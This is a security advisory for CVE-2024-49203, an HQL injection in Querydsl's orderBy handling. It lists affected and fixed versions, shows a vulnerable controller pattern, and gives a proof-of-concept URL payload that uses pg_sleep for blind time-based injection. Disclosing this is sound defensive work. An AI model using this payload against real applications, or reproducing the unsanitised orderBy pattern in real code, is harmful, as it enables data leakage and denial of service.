GHSA-6q3q-6v5j-h6vg
Querydsl vulnerable to HQL injection through orderBy
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Maven | io.github.openfeign.querydsl:querydsl-jpa | >= 6.0.0.M1, < 6.10.1 | 6.10.1 |
| Maven | io.github.openfeign.querydsl:querydsl-apt | >= 6.0.0.M1, < 6.10.1 | 6.10.1 |
| Maven | io.github.openfeign.querydsl:querydsl-jpa | < 5.6.1 | 5.6.1 |
| Maven | io.github.openfeign.querydsl:querydsl-apt | < 5.6.1 | 5.6.1 |
| Maven | com.querydsl:querydsl-jpa | <= 5.1.0 | no fix listed |
| Maven | com.querydsl:querydsl-apt | <= 5.1.0 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier **CVE-2024-49203**.
### Details
Vulnerable code may look as follows:
```
@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();
}
```
Where vulnerability is either caused by ```pathBuilder.get(orderBy)``` or the ```orderBy(order)``` method itself, based on where the security checks are expected.
### PoC
Full POC code is available in repository:
https://github.com/CSIRTTrizna/CVE-2024-49203/
When we take a look at source code shown in Details section the functionality is as follows:
1) Create JPAQuery object instance:
```
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
```
2) Create OrderSpecifier object instance:
```
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
```
Where orderBy variable is user provided input.
3) order and run the query
```
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();
```
When user goes to URL
```/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id```
The generated query will look something like this:
```
select test
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc
```
#### Environment
Library versions used in proof of concept to reproduce the vulnerability:
```
querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4
```
### Impact
The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg
- https://nvd.nist.gov/vuln/detail/CVE-2024-49203
- https://github.com/querydsl/querydsl/issues/3757
- https://github.com/CSIRTTrizna/CVE-2024-49203
- https://github.com/OpenFeign/querydsl
- https://github.com/OpenFeign/querydsl/releases/tag/5.6.1
- https://github.com/OpenFeign/querydsl/releases/tag/6.10.1
- https://github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0
- https://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html